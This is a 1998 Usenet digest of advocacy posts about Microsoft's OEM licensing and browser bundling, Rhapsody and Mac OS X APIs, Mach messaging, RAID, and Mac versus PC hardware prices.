Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 27 May 1998 07:09:19 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <3579a275.8166152@news.supernews.com>
References: <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net> <tvy67j0enft.fsf@cn1.connectnet.com> <6k1860$vn6$1@strato.ultra.net> <tvyzpgb7acd.fsf@cn1.connectnet.com> <6k2211$5o7$2@cronkite.cygnus.com>
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jrudd@cygnus.com (John Rudd), on 21 May 1998 20:15:29 GMT,
>In <tvyzpgb7acd.fsf@cn1.connectnet.com> Darin Johnson wrote:
>> "John Saunders" <jws@jws.ultranet.com> writes:
>>
>>
>> > Darrin, you should go look at IWebBrowser. It's a pretty high-level
>> > interface. The only methods are GoBack, GoForward, GoHome, GoSearch,
>Stop,
>> > Navigate(url), and Refresh/Refresh2. It has a few interesting properties
>> > like LocationName, LocationURL and Busy. I see no reason Netscape
>couldn't
>> > implment that.
>>
>> Because then Netscape becomes merely a new GUI to IE. It's no
>> different than all those "hey, I built my very own web browser with
>> visual basic!" programs. Netscape no longer has control of *how*
>> these things work - if it wants a different way of "GoBack", they're
>> stuck (what an *absurd* thing to put into a general interface,
>> obviously MS programmers don't know OOD either). If a new browser
>> doesn't even want GoBack/GoForward or that style of navigation (it's
>> not universal), they're stuck too. Well, not *stuck* per se, they
>> just can't make good use of the DLL. What the business does a library
>> for a web browser have managing navigation?
>>
>> It's too high level. It sounds like it's just IE with the GUI ripped
>> off and some glue slapped on to stop the bleeding.
>>
>
>I think what he meant to say was not that Netscape could merely have
>implimented the front end to ride on top of the DLL, but that Netscape could
>have just re-implimented the DLL using Netscape-isms instead of using the MS
>DLL.
>
>They could even extend it for more behaviors (and therefore continue to
>compete with MS in the war by offering better IWebBrowser alternatives that
>install over the MS one.. in fact, in doing so, if they remained 100%
>compatible with the MS interface between App and DLL, they would instantly
>inherit support from those developers that have adopted the MS path). As
>long as the DLL does what the developer of end applications is expecting, I
>doubt they care who wrote it. And if the Netscape DLL offers extensions they
>find more useful, then they'll go with Netscape's DLL... and thus not be able
>to use the MS DLL (until MS counters, etc).
>
>In that sense, by providing a consistant interface which abstracts the
>implimentation of the object through a very real encapsulation barrier, DLL's
>really do facilitate Object Oriented programming. The DLL, as long as it
>impliments the interface correctly, is both reusable and replacable.
>
>(am I defending MS here? Today is going to be a weird day..)
Well, yes and no. I'm glad to hear you don't want to defend Microsoft,
but you've hit on an important argument. The fact is, that what you
described is _exactly_ what Microsoft apologists identify as the method
of competing with Microsoft, and the achilles heel of
alt.destroy.microsoft. The *concept* of inter-operable component-based
software modules is the "mirrors" that MS uses, and the fact that nobody
can actually do this (including Microsoft, but they don't have to,
because they authored the system, as it were) is the smoke they use to
hide their fraud.
The fact is, in practice this is not possible given the specifications
and extremely limited true standards that Microsoft's truly supports.
And in theory it is not reasonable to assume that a system for
interoperable and interchangeable software modules is possible without a
standard consensus and public specification.
You're not defending Microsoft. But you are describing their
smoke-and-mirrors.
--
T. Max Devlin
Hi-TECH Connections/Eltrax Systems
*****************************************************
- Opinions expressed are my own.
Anyone else may use them only in
accordance with licensing agreements. -
From: cb@bartlet.df.lth.se (Christian Brunschen)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX versus PS (was Re: Howabout Something Better than what we have now?)
Date: 27 May 1998 12:49:11 +0200
Organization: The Computer Society at Lund
Message-ID: <6kgr37$9a0$1@bartlet.df.lth.se>
References: <6ke4v6$d5n$9@ironhorse.plsys.co.uk> <B1901713-22772@206.165.43.147> <6kejq7$6na$1@bartlet.df.lth.se> <ldo-2705982207190001@a37.hn2.wave.co.nz>
NNTP-Posting-User: cb
In article <ldo-2705982207190001@a37.hn2.wave.co.nz>,
Lawrence D¹Oliveiro <ldo@geek-central.gen.new_zealand> wrote:
>In article <6kejq7$6na$1@bartlet.df.lth.se>, cb@bartlet.df.lth.se
>(Christian Brunschen) wrote:
>
>>Actually, a 3x2 matrix is, in a very real sense, superior to a 3x3 matrix.
>>
>>A 3x2 matrix can only represent an affine transformation.
>>Affine transformations are invertible
>>Thus, every transformation you can represent in a 3x2 matrix, is
>>invertible; you can _always_ generate an inverse matrix to whatever matrix
>>you have. Thus you can undo _any_ transformation.
>
>Nonsense. There are an infinity of non-invertible affine transformations.
OK ... this is exactly the reason why I included the 'Now I may be wrong,
but I think it works like this' paragraph which you snipped.
>Sometimes I wonder whether people haven't become so accustomed to
>PostScript that they become incapable of seeing the problems with it...
Sometimes I wonder if people have become so accustomed to having to bash
other people that they can't maintain a civil conversation ...
Best regards
// Christian Brunschen
From: "Ed Deans." <eadeans@san.rr.com>
Newsgroups: comp.sys.next.advocacy
Subject: Q:MacOS X's MACH 3 Question
Message-ID: <7qSa1.612$js2.604228@proxye1.san.rr.com>
Date: Wed, 27 May 1998 11:03:31 GMT
NNTP-Posting-Date: Wed, 27 May 1998 04:03:31 PDT
Organization: TWC Road Runner, San Diego, CA
Hi all,
I was wondering if anyone knows how Apple's going to address the problem IBM
found when it was using OSF/1's Mach 3 as the basis of its IBM Microkernel
1.0 for OS/2 PPC, etc. That problem is with the messaging overhead.
As I understand it, all messages sent to a port has to have its data checked
to verify it's valid for that port. That's a *lot* of overhead. IBM's
solution was to create port classes which described the format a message
ought to have. Signatures id the acceptable formats for a particular port.
The valid signatures are registered with the kernel so each message can be
checked against them fairly quickly unlike the OSF/1 Mach 3 design where
headers have to be parsed and message data examined *every* time.
The downside is the added complexity IBM's design adds for programmers but,
imho, it's pretty minimal compared to trade-off of the excess overhead in
OSF/1's Mach 3.
Thoughts? Answers? Corrections?
Thanks,
--Ed.
From: "Christopher Smith" <drsmithy@usa.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 27 May 1998 21:34:09 +1000
Organization: University of Queensland
Message-ID: <6kgtfd$r79$1@nargun.cc.uq.edu.au>
References: <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <6jqt6a$md2$2@strato.ultra.net> <rmcassid-1905980044070001@dante.eng.uci.edu> <6jrrfp$3e1$2@strato.ultra.net> <tvyd8daun8i.fsf@cn1.connectnet.com> <6jtgif$vp6$7@ligarius.ultra.net> <35cca498.358890969@news.supernews.com> <6k6rm5$nkn$4@ligarius.ultra.net> <Josh.McKee-2305982147510001@pm3a18.rmac.net> <6k883d$okb$4@strato.ultra.net> <356f8bcf.2366573@news.supernews.com>
T. Max Devlin wrote in message <356f8bcf.2366573@news.supernews.com>...
>"John Saunders" <jws@jws.ultranet.com>, on Sun, 24 May 1998 00:34:26
>-0400,
>>
>>I have seen no reason to believe that Microsoft prevents vendors from
>>configuring Navigator as the default browser, depending on what you mean
by
>>"default browser". If you mean "the program that runs when I double-click
a
>>.HTML file", then I see no reason at all why a vendor can't make that
>>change. They are allowed to install whatever additional products they
want,
>>and that normally creates or changes file associations. I am unable to
>>guess what else you might mean by "default browser", so please elaborate.
>
>Good point. But doesn't pre-installation of Netscape (and specific
>replacement of IE) bring down the wrath of Microsoft? We _know_ that MS
>has asked computer vendors who include NS, but not IE, on the desktop,
>are threatened with removal of Windows licenses. Wouldn't changes to
>the default registry settings for associations cause the same problem?
That is because they remove IE from the desktop (a breach of contract), not
because they include Netscape.
>
>T. Max Devlin
>Hi-TECH Connections/Eltrax Systems
>*****************************************************
> - Opinions expressed are my own.
> Anyone else may use them only in
> accordance with licensing agreements. -
From: "Christopher Smith" <drsmithy@usa.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 27 May 1998 21:36:46 +1000
Organization: University of Queensland
Message-ID: <6kgtka$rjj$1@nargun.cc.uq.edu.au>
References: <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <6jqt6a$md2$2@strato.ultra.net> <rmcassid-1905980044070001@dante.eng.uci.edu> <6jrrfp$3e1$2@strato.ultra.net> <tvyd8daun8i.fsf@cn1.connectnet.com> <6jtgif$vp6$7@ligarius.ultra.net> <35cca498.358890969@news.supernews.com> <6k6rm5$nkn$4@ligarius.ultra.net> <Josh.McKee-2305982147510001@pm3a18.rmac.net> <6k8dee$a9h$1@nargun.cc.uq.edu.au> <35719045.3508921@news.supernews.com>
T. Max Devlin wrote in message <35719045.3508921@news.supernews.com>...
>Sorry, Christopher, but it's one of those nights, and I've gone over the
>edge...
>
>"Christopher Smith" <drsmithy@usa.net>, on Sun, 24 May 1998 16:11:27
>>[...]They can set Netscape to the default browser, but they cannot change
the
>>default startup procedure - I would consider this a valid "condition" no
>>matter *what* the OS was.
>
>Obviously, you don't know jack-shit about operating systems and default
>startup procedures.
Whereas you know everything there is to know, correct ?
>
>> I wonder what Apple would say if some of its VARs
>>(not that there are many left) modifed all their Macs so the default boot
>>was to Win95 running under VPC instead of OS 8.0 ?
>
>They think it was odd, and wonder why they were committing marketing
>suicide.
Yeah, and I'm sure they'd just watch on a laugh as well. Not.
>
>>
>>OEMs can *add* whatever they want to the desktop, start menu, startup
etc -
>>they just aren't allowed to *remove* default settings for the first boot -
>>if Gateway wanted to they could stick a text document into "Startup"
>>describing exactly how to remove Windows 95 and install Linux, but the
>>*first* boot must have the *standard* Windows 95 setup. System vendors
can
>>already pick & choose software to install, stick on the desktop, add to
the
>>Start menu whatever, they just can't *remove* things from the *first*
>>bootup.
>
>According to the contract, you are correct. I wonder how many OEMs
>would agree with your charity concerning Microsoft's tactics,
>considering several of them were putatively threatened with losing their
>Windows licenses if they included, displayed, removed, or modified
>certain icons, et al.
You mean if they breached their contract by removing items from the desktop
?
>
>Yes, theoretically a vendor might include a startup program which
>partially (not totally, because MS does not publish their code) will
>disable Microsoft crapolla, then erase itself. But why? I invite you,
>have others have I, to simply put your words to action: go do it. Go
>build a system that launches a program after the first login that
>"fixes" Windows, and maybe installs a boot-loader. See if you can get
>"volume discounts" from Microsoft, so you can compete in a commodity
>hardware market. Microsoft benefits from that Intel-based,
>IBM-architecture-derived commodity hardware market, you know. They just
>keep racking up the GP, "sorry; in the next version, we'll get that
>nasty-old misbehavior hardware _working_, so it doesn't cause a
>nasty-old crash every fifteen minutes", safe from recriminations of not
>being able to have an uptime capable of sustaining even casual use of
>long duration...
>
>So you just go build a system with this time-bomb-like first boot. See
>if the wrath of Microsoft don't come down on YOUR ass...
Why would I want to ? The only people who have a problem with the way
Windows PCs ship now are those who don't buy them.
>--
>
>T. Max Devlin
>Hi-TECH Connections/Eltrax Systems
>*****************************************************
> - Opinions expressed are my own.
> Anyone else may use them only in
> accordance with licensing agreements. -
From: root.noharvest.\@not_even\here.com (-)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 27 May 1998 07:36:44 GMT
Organization: -
Message-ID: <356bc230.10085052@nntp.idsonline.com>
References: <rmcassid-0705980012000001@dialin33419.slip.uci.edu> <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <6jqt6a$md2$2@strato.ultra.net> <rmcassid-1905980044070001@dante.eng.uci.edu> <6jrrfp$3e1$2@strato.ultra.net> <tvyd8daun8i.fsf@cn1.connectnet.com> <6jtgif$vp6$7@ligarius.ultra.net> <35cca498.358890969@news.supernews.com> <6k6rm5$nkn$4@ligarius.ultra.net> <Josh.McKee-2305982147510001@pm3a18.rmac.net> <6k883d$okb$4@strato.ultra.net> <Josh.McKee-2405980959090001@pm3a10.rmac.net> <6k9gh7$5lk$1@nargun.cc.uq.edu.au> <ericb-2405981851440001@132.236.171.104> <6kc8v2$4bu$2@ligarius.ultra.net>
"John Saunders" <jws@jws.ultranet.com> Said this:
>
>
>When does the boot end? At the login prompt? If so, they could do the switch
>then. Does it end after the first user login? Then the second user login
>could be to an account that does the switch.
>
>I'm not saying that any of this is convenient or that I think it's a good
>idea. But if these are the rules there are simple ways around them.
>
I don't think any PC maker is going to start into a pissing contest
with a 400 Billion dollar company over loopholes and sneak attacks on
contractual obligations. Microsoft could eat any single vendor for
lunch.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 27 May 1998 00:39:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B191113A-15DE2@206.165.43.154>
References: <6kesc7$c5r$4@ns3.vrx.net>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Maury Markowitz <maury@remove_this.istar.ca> said:
>
> Is it just me or does anyone else get the feeling the first time Lawson
>ever saw the term "matrix" was about one year ago?
Er, taught myself Calculus when I was 15, Maury. That was 28 years ago...
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: tony@emiliene.demon.co.uk (Tony Weston)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: Wed, 27 May 1998 08:43:28 GMT
Message-ID: <356bd21b.1627592@news2.cableinet.net>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com>
Organization: "Cable Internet (post doesn't reflect views of Cable Internet)"
On 26 May 1998 19:53:24 GMT, macghod@concentric.net wrote:
>I am looking to buy a computer. It MUST run the best operating system in the
>world.
>So that narrows things down to a pentium or a g3 mac (or 604e mac). A 233 g3
>is definitely fast enough for me, as is a p2 300. But a g3 233 costs $1500
>mail order, and this does not even have the tower case that the p2 has.
>Plus, look what one can get for much less: A LOT MORE!!
>
>Pentium II 300Mhz System€
>
> Intel Pentium II processor,
> M715€ motherboard,
> 64Mb SDRAM,
> L2 Pipelined Burst Cache, 512k,
> 4.3Gb IDE hard drive,
> 4Mb AGP 3D graphics accelerator,
> 17" NI .28dp SVGA Color Monitor,
> 32-speed CD-Rom drive with audio,
> 3 1/2" floppy drive,
> 56k€ fax/modem/voice,€
> 16-bit on board sound,
> speakers, 320 watt, surround sound (not shown)
> mid-tower case, 250watt power supply
> Microsoft compatible mouse,
> microphone,
> keyboard,
> 1 year parts & labor warranty.
>
>All this for only $1285!!! I can probably sell my dad the 17 inch monitor
>for $300, so this would be only $1000!!! compared to $1500 for the mac g3.
>And not only does the mac g3 not in the tower case, but it doesnt have the 4
>megs of vram, the 64 megs of ram, and the 56 k modem!! To get the g3 up to
>this, without having to spend $100 per item to have it put in, you have to
>use apples bto store. Adding the ram to 64 megs, adding vram, and adding a
>modem raises the price to over $2000!!!!! Using a minitower its over $2200!!
>
>--
>Running on Openstep 4.2, the best os in the world, and about to get better!
>MACHEAD SEEKS qa work!!, email me for resume
>NeXTMail and MIME OK!
>
Yeh, but you'll have to use Windows then.. :-)
Tony.
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <356bd21b.1627592@news2.cableinet.net>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <356c03c8.0@206.25.228.5>
Date: 27 May 98 12:15:04 GMT
tony@emiliene.demon.co.uk (Tony Weston) wrote:
> Yeh, but you'll have to use Windows then.. :-) Tony.
Or Rhapsody 1.0 for Intel...then again, why bother.
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
Date: Wed, 27 May 1998 09:19:40 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy
Subject: Re: RAID 5 for Rhapsody?
Message-ID: <joe.ragosta-2705980919410001@wil128.dol.net>
References: <35634292.15907830@pacific.net.sg> <6kf1ac$7tk$1@news.apple.com> <cdoutyEtLLwG.Avu@netcom.com>
In article <cdoutyEtLLwG.Avu@netcom.com>, cdouty@netcom.com (Chris Douty) wrote:
> In article <6kf1ac$7tk$1@news.apple.com>,
> Mark Dadgar <mdadgar@apple.com> wrote:
> >In article <35634292.15907830@pacific.net.sg> Koo <amind@pacific.net.sg>
> >writes:
> >> I'd like to know is there a RAID 5 system or anyone is working on a
> >> RAID 5 system for Rhapsody PPC?
> >
> >You should be able to use just about any external SCSI-based RAID array
> >pretty painlessly.
> [Baydel recommendation snipped]
>
> I'll second the vote for an external RAID controller. You really don't
> want a software RAID5 system. It's painful. OTOH, I'd love to see
> Veritas Volume Manager and Filesystem ported to Rhapsody. SGI's XFS
> would be even better from a filesystem point of view.
I think you're leaving out one thing--price.
I have two hard drives in my Mac. For the price of SoftRAID, I can have a
RAID system and use it all the time--boot from it, use it for all my files
and apps, and so on. With NT, you have software RAID for free, but can't
boot from the RAID volume. Granted, the performance in either case isn't
as great as a good hardware RAID system, but the price is much better.
So it depends on your need for performance and your willingness to pay.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Wed, 27 May 1998 08:25:09 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,alt.windows95,comp.os.ms-windows.advocacy
Subject: Re: Rhapsody/Intel -- DUH!
Message-ID: <joe.ragosta-2705980825090001@wil109.dol.net>
References: <joe.ragosta-2605980830390001@wil131.dol.net> <B1901AA8-2FF0A@206.165.43.147> <joe.ragosta-2605981037000001@wil134.dol.net> <6ke3uv$n7a$2@ns3.vrx.net> <joe.ragosta-2605981142210001@wil114.dol.net> <6kedqj$2ah$1@ns3.vrx.net>
In article <6kedqj$2ah$1@ns3.vrx.net>, maury@remove_this.istar.ca (Maury
Markowitz) wrote:
> In <joe.ragosta-2605981142210001@wil114.dol.net> Joe Ragosta claimed:
> > But go back and review the thread. Someone said that Rhapsody was better
> > than NT. Instead of refuting that statement, Lawson said that the real
> > question was how many people were using NT vs. Rhapsody.
>
> On that point I agree, but he then went on to ask how many would try it. I
> believe that is a very good question.
It _is_ a good question. Just irrelevant in the context he posted it.
>
> > There's no problem discussing quantity. Market share is certainly an issue
> > to consider under the appropriate circumstances.
> >
> > It is _not_, however an appropriate response to a discussion on which OS
> > is better.
>
> I believe it is. I believe for many situations the most popular OS is
> indeed the BEST OS. Do you disagree? In every technical sense Rhapsody is
> better than NT, but in most situations (currently) I think NT is the better
> OS for most buyers.
It all depends on what your needs are.
If you want a high quality, stable, server OS, Rhapsody has NT beat.
If you need to run MS Office, NT has Rhapsody beat.
But I don't consider the second statement to be related to the _quality_
of the OS. All it says is that under some circumstances, it makes sense to
buy the lower quality product.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 27 May 1998 08:42:14 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6kgjl6$nc0$1@ns3.vrx.net>
References: <6kesc7$c5r$4@ns3.vrx.net> <B191113A-15DE2@206.165.43.154>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: english@primenet.com
In <B191113A-15DE2@206.165.43.154> "Lawson English" claimed:
> Er, taught myself Calculus when I was 15, Maury. That was 28 years ago...
As I suspected. Matrix math is _algebra_, not calculus.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: 27 May 1998 09:21:18 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6kglue$nc0$4@ns3.vrx.net>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <6k3fho$be9$2@ns3.vrx.net>
<3565A35B.AFDD18BC@nstar.net> <6k3pae$ii2$1@ns3.vrx.net>
<cdoutyEtLo5G.ED1@netcom.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: cdouty@netcom.com
In <cdoutyEtLo5G.ED1@netcom.com> Chris Douty claimed:
> > IE, the cross platform software in those markets tends to be server
> >related. Spending money to provide a client end API on a server platform
> >doesn't strike me as interesting many people.
>
> Apple *has* to maintain Foundation objects and the ObjC and Java runtimes
> for WebObjects on Solaris anyway.
Why? I'd love it if it were true, but I'm not sure why they _have_ to do
this.
> stacks of code above that. PDO and WebObjects are the spearhead onto
> other OSes. Since many websites run on Linux, WebObjects for Linux is
> nearly mandatory.
Ok let's take that tack for a moment. You're absolutely right, I think FK,
PDO, EOF and WO should be available widely. These are all likely much easier
to port than anything in AK.
> > The problem is that they can't afford to right now.
>
> Sigh. Reality sucks.
As always.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: screwed? was:No Mac OS X for Intel...?
Date: 27 May 1998 09:28:40 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6kgmc8$nc0$5@ns3.vrx.net>
References: <6jtt5c$q8k$1@news.cmc.net> <3562EA10.3ABFE6B5@pacific.net.sg>
<6kesfn$c5r$6@ns3.vrx.net> <6kfi4n$452$1@nntp2.ba.best.com>
Mime-Version: 1.0
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Cc: mr_boxster@nospam_yahoo.com
In <6kfi4n$452$1@nntp2.ba.best.com> MR_boxster claimed:
> >> More important... Will it have support for my new whizbang peripherals.
Who
> >> cares if its better if it doesn't support my hardware.. E.G. look at
Linux,
> >> its usually 1 generation behind in video card drivers.
> >
> > And doing very well, thank you. What is your point here?
>
> Care to elaborate?
Sure...
"look at Linux, its usually 1 generation behind in video card drivers"
And this has had no effect on it's popularity that I can see. Thus stating
that it's a driver issue for the target Rhapsody market is likely nonsense.
> The point is... The OS will not be attractive to users if they can't use
their
> hardware.
And that's what I answered using your own example. Linux has (by YOUR
statement) poor device support, yet it is likely the fastest growing
marketshare in OS's. Apparently the people in question do not value it as
highly as you think, and that being the case I don't see why this would be an
issue if we target those users with some form of Rhapsody.
Maury
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 27 May 1998 15:27:07 GMT
Organization: P & L Systems
Message-ID: <6khbcb$d5n$17@ironhorse.plsys.co.uk>
References: <ericb-1105981718430001@132.236.171.104> <6j7t4a$v9r$1@crib.bevc.blacksburg.va.us>
<6j9d8c$ft4$1@larry.admin.phil.uu.nl> <6j9egu$19r$1@crib.bevc.blacksburg.va.us>
<mcasse-2708561359510001@line8047.ras.ilstu.edu> <ericb-1405981247490001@132.236.171.104>
<6jpsje$1cc$100@ironhorse.plsys.co.uk> <ericb-2005981926430001@132.236.171.104>
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Cc: ericb@pobox.com
In <ericb-2005981926430001@132.236.171.104> Eric Bennett wrote:
> In article <6jpsje$1cc$100@ironhorse.plsys.co.uk>, mmalcolm crawford
> <malcolm@plsys.co.uk> wrote:
>
>
> > > Three! The MacOS 8 APIs will still work too!
> > >
> > Rubbish. Show me where it says that.
> >
> > MacOS 8 apps will only run in the BlueBox, which can be regarded as a
> > seperate application. Carbon is a subset of MacOS APIs which allow an
> > application to be tweaked to run native on MacOS X.
>
> The slide pictures I saw showed Yellow, Blue, and Carbon all with equal
> stature sitting on top of the same underlying layers of the OS. There was
> no distinction made. Is there one?
>
Yes: Yellow and Carbon are APIs; Blue is a compatibility layer.
> Certainly I think the statement "MacOS 8 APIs will work too!" is correct
> regardless of whether there is an additional emulation layer underneath
> them. Would you deny, for example, that "68k code still works" on PowerPC
> systems? The fact is that if you write your apps using today's MacOS 8
> APIs, your software will run under MacOS X.
>
*In a compatibility environment*.
> That's enough to justify my
> statement that MacOS 8 APIs still work too.
>
What part of "API" don't you understand?
You won't be able to write a new app that will be a first class citizen on
MacOS X if you use MacOS APIs and compile a MacOS app. If you use Carbon
APIs (a subset of the MacOS APIs) and compile a MacOS X app you will be able
to run it as a first class citizen.
mmalc.
Date: Wed, 27 May 1998 12:14:12 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Message-ID: <joe.ragosta-2705981214130001@wil96.dol.net>
References: <ericb-1105981718430001@132.236.171.104> <6j7t4a$v9r$1@crib.bevc.blacksburg.va.us> <6j9d8c$ft4$1@larry.admin.phil.uu.nl> <6j9egu$19r$1@crib.bevc.blacksburg.va.us> <mcasse-2708561359510001@line8047.ras.ilstu.edu> <ericb-1405981247490001@132.236.171.104> <6jpsje$1cc$100@ironhorse.plsys.co.uk> <ericb-2005981926430001@132.236.171.104> <6khbcb$d5n$17@ironhorse.plsys.co.uk>
In article <6khbcb$d5n$17@ironhorse.plsys.co.uk>, mmalcolm crawford
<malcolm@plsys.co.uk> wrote:
> You won't be able to write a new app that will be a first class citizen on
> MacOS X if you use MacOS APIs and compile a MacOS app. If you use Carbon
> APIs (a subset of the MacOS APIs) and compile a MacOS X app you will be able
> to run it as a first class citizen.
One question:
MacOS Rumors is reporting that many Mac apps are around 90% Carbon code
already. Much of the remaining code comes from libraries, so if the
library vendor rewrites the library in Carbon, that shouldn't be a problem
(Metroworks is already committed to do this).
But let's say that 2-3% of the code needs to be rewritten. I would expect
that this would still be a pretty daunting task unless much of the rewrite
involves something as simple as a global search and replace (replace the
old function name with the name of a new function which uses the same
syntax, but which runs under Carbon).
Does anyone know how much of the rewrite is likely to be a simple search
and replace and how much will involve actually rewriting the code?
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 27 May 1998 09:27:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1918D03-156B7@206.165.43.48>
References: <6kgjl6$nc0$1@ns3.vrx.net>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Maury Markowitz <maury@remove_this.istar.ca> said:
>In <B191113A-15DE2@206.165.43.154> "Lawson English" claimed:
>> Er, taught myself Calculus when I was 15, Maury. That was 28 years
ago...
>
> As I suspected. Matrix math is _algebra_, not calculus.
Had I followed the usual sequence, which you should have assumed, I would
have learned "advanced" high school algebra BEFORE I taught myself
calculus. As it was, I hadn't had trig when I picked up my brother's
college text and got hoeplessly lost when they introduced differentials of
trig functions since the review was of the *relation* of the formulas
rather than of what they represented.
In fact, I first encountered matrices (in a form that I could follow),
about a year or two later [26-27 years ago, in case you needed a more
explicit figure].
Why are we talking about my math background, BTW? I'll admit that it is
spotty in some places, but if I find that I'm working on a project that
requires math that I don't understand, I'll grab a textbook off the shelf
and read what I need to know and work a few problems. Usually works.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody, OS X...huh?
Date: 27 May 1998 11:33:16 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6kgtls$nc0$8@ns3.vrx.net>
References: <356573e8.5831486@nntp.atl.mindspring.com> <6k4fk0$8st$1@crib.bevc.blacksburg.va.us>
<3566bf1b.585911@nntp.atl.mindspring.com> <rkt1-2305981407360001@cu-dialup-1005.cit.cornell.edu>
<see-below-2305981551320001@209.24.241.7> <6ke87q$d5n$12@ironhorse.plsys.co.uk>
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In <see-below-2605981954210001@209.24.240.115> Matthew Vaughan claimed:
> > Biggest loss: the shelf.
(reply to a reply, sorry matt).
Actually if the Mac is any indication, there's will be Shelf-killers
generally available. One must hope. Not that the shelf was perfect by any
means!
> > I don't like the way the Workspace becomes the active app if you click on
the
> > desktop.
>
